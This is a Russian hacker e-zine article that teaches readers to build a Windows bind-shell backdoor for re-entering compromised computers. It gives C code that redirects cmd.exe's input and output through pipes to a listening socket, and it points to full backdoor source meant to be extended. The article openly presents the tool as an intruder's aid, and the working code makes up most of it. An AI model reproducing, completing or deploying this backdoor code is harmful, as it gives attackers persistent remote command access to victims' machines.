[ Создание простого BindShell Backdoor'a ]

Хай мэн! Это моя первая статья для езина 22H и просьба сильно не
пинать меня =) В ней я дам несколько советов для написания
собственного бэкдора для Windows. Вещь это очень полезная и
достаточно мощная в руках опытного взломщика ;)

Бэкдор, backdoor (от англ. back door, чёрный ход) — программа или
набор программ, которые устанавливает взломщик (хакер) на
взломанном им компьютере после получения первоначального доступа
с целью повторного получения доступа к системе. При подключении
предоставляет какой-либо доступ к системе (как правило, это
командный интерпретатор: в GNU/Linux — Bash, в Microsoft
Windows NT — cmd). Бэкдор — особо важная составляющая руткита.
Существует два вида предоставления shell-доступа: «BindShell»
и «Back Connect».«BindShell» — самый распространённый, работает
по архитектуре «клиент-сервер», то есть бэкдор ожидает соединение.
«Back Connect» — применяется для обхода брандмауэров, бэкдор
сам пытается соединиться с компьютером хакера.
Известные бэкдоры заносятся в базы антивирусных систем. Хакеры
высокого класса используют собственноручно написанные либо
модифицированные бэкдоры и руткиты, что делает их обнаружение
и удаление затруднительным (Русская Википедия).

Расскажу я про «BindShell».
Алгоритм работы такого вот бэкдора очень простой. Создается
сервер, который должен будет слушать порт. После подключения
к порту telnet'ом сервер в отдельном потоке подменяет
дескрипторы стандартного ввода/вывода на дескрипторы пайпов
и  запускает в  отдельном процессе cmd, после чего читает
данные из сокета и пишет их в пайп, либо наоборот, читает
данные из пайпа и пишет их в сокет. Все это дело длится до
тех пор, пока процесс cmd не будет завершен стандартной
командой exit.
Исходя из всего вышесказанного нам потребуется знать три
вещи: как работают процессы, как работают сокеты и как
работают пайпы.
Если про сокеты говорят и пишут на каждом углу и все кому
не лень, то про пайпы можно услышать  гораздо реже. Наверно,
это происходит потому-что в большинстве случаев можно
обойтись обычным файловым вводом/выводом и нет необходимости
переназначать дескрипторы стандартного ввода/вывода. В нашем
случае тоже можно было обойтись таким способом, но гораздо
элегантней и удобней воспользоваться механизмом пайпов. Что
же такое пайп? В SDK дается следующее определение для пайпов:
"пайп - это коммуникационный шлюз с двумя концами; некий
процесс через дескриптор (handle) на одном конце пайпа может
передавать данные другому процессу, находящемуся на другом
конце пайпа." Существуют два вида пайпов: именованные(named)
и неименованые(anonymous) пайпы. В нашем случае будут
использоваться неименованные пайпы, т.е. однонаправленные
пайпы, которые передают данные между родительским и
дочерним процессами или между двумя дочерними процессами
одного и того же родительского процесса.
Ниже представлен код создания пайпов и переназначения
ввода/вывода.

	//Создание необходимых структур для
	//работы с пайпами.
	STARTUPINFO si;
	SECURITY_ATTRIBUTES sa;
	PROCESS_INFORMATION pi;
	HANDLE new_stdout, new_stdin, read_stdout, write_stdin; // <- Дескрипторы пайпов
	//Заполняем структуры.
	sa.lpSecurityDescriptor = NULL;
	sa.nLength = sizeof(SECURITY_ATTRIBUTES);
	sa.bInheritHandle = true;
//Создание пайпов
	//Здесь sa – это указатель на структуру типа SECURITY_ATTRIBUTES
	if (!CreatePipe(&new_stdin, &write_stdin, &sa, 0)) {
		return -1;
	}
	if (!CreatePipe(&read_stdout, &new_stdout, &sa, 0)) {
		return -1;
	}
	// Подмена дескрипторов
	// Здесь si – это структура STARTUPINFO для запуска процесса
	si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW; // Взвести эти флаги просто необходимо!
	si.hStdError = new_stdout;
	si.hStdOutput = new_stdout;
	si.hStdInput = new_stdin;

После всего этого мы можем создать отдельный процесс
функцией CreateProcess(), передав ей в качестве параметра
путь до cmd.exe и указатель на структуру с подмененными
дескрипторами, и гонять ввод/вывод между клиентом и
сервером пока мы не захотим завершения процесса cmd.
Итак, после создания пайпов, алгоритм действий очень
простой:

	Запускаем процесс
		Пока процесс не завершен
			Проверяем состояние пайпа
				Если в пайпе есть данные, то читаем их и пишем в сокет
			Проверяем состояние сокета
				Если в сокете есть данные, то читаем их и пишем в пайп

Проверка состояний пайпа и сокета осуществляется,
соответственно, функциями PeekNamedPipe() и ioctlsocket().
Чтение из пайпов осуществляется с помощью ReadFile(), а
запись WriteFile(). О том как создавать многопоточный
сервер и работать с сокетами писалось тысячи раз и я не
буду останавливатся на этом подробно, просто положу в
архив мануал Криса Касперски по работе с сокетами. В этом
руководстве описано создание tcp echo сервера, клиента
для него, а также версия udp этого сервера. Также в
руководстве описана работа с сокетами.
Ниже приведен код:

	GetSystemDirectory(system_directory, MAX_PATH);
	lstrcat(system_directory, "\\cmd.exe");
	//Создаем дочерний процесс
	if (!CreateProcess(system_directory,NULL,NULL,NULL,TRUE,CREATE_NEW_CONSOLE,NULL,NULL,&si,&pi)) {
		CloseHandle(new_stdin);
		CloseHandle(new_stdout);
		CloseHandle(read_stdout);
		CloseHandle(write_stdin);
		closesocket(sock);
		return -1;
	}
	unsigned long ExitCode = 0; // <- Код завершения.
	unsigned long InStd; // <- Количество прочитанных из stdout байт
	unsigned long avail; // <- Количество доступных байт
	bool first_command = true;
	//Пока не завершится процесс, читаем/пишем из пайпа в сокет и наоборот.
	while(GetExitCodeProcess(pi.hProcess, &ExitCode) && (ExitCode == STILL_ACTIVE)) {
		PeekNamedPipe(read_stdout, std_buff, sizeof(std_buff) - 1 ,&InStd, &avail, NULL);
		ZeroMemory(std_buff, sizeof(std_buff));
		if (InStd != 0) {
			if (avail > (sizeof(std_buff) - 1)) {
				while (InStd >= (sizeof(std_buff)-1)) {
					ReadFile(read_stdout, std_buff, sizeof(std_buff) - 1, &InStd, NULL); // <- Читаем данные из пайпа.
					send(sock, std_buff, strlen(std_buff), 0);
					ZeroMemory(std_buff, sizeof(std_buff));
				}
			}
			else {
				ReadFile(read_stdout, std_buff, sizeof(std_buff) - 1, &InStd, NULL);
				send(sock, std_buff, strlen(std_buff), 0);
				ZeroMemory(std_buff, sizeof(std_buff));
			}
		}
		unsigned long IoSock;
		//Проверяем состояние сокета и читаем из него и пишем в пайп.
		if (!ioctlsocket(sock, FIONREAD, &IoSock) && IoSock) {
			ZeroMemory(std_buff, sizeof(std_buff));
			recv(sock, std_buff, 1, 0);
			if (first_command == false) {
				send(sock, std_buff, strlen(std_buff), 0); // <- Это чтобы был нормальный вывод в telnet
			}
			if (*std_buff == '\x0A') {
				WriteFile(write_stdin, "\x0D", 1, &IoSock, 0);
				first_command = false;
			}
			WriteFile(write_stdin, std_buff, 1, &IoSock, 0);
		}
	Sleep(1);
	}

Чтобы наш бэкдор мог работать с несколькими соединениями
одновременно, мы будем запускать поток с помощью функции
CreateThread(), которой в аргументах будем передавать
функцию, создающую канал между клиентом и сервером. О
том как создать многопоточный сервер можешь почитать в
статье Криса Касперски, которую я положил в архив вместе
с исходником.
Чтобы не заниматься лишней работой, можешь воспользоваться
исходником, который идёт с езином и дописать нужные функции.
Исходник выглядит максимально прозрачно и имеет все
необходимые комментарии, поэтому разобраться в нем не
составит труда. Удачи, и программируйте с удовольствием :)

Исходник + документация лежит в /include/backdoor/*

(c) NDT[h3xcode]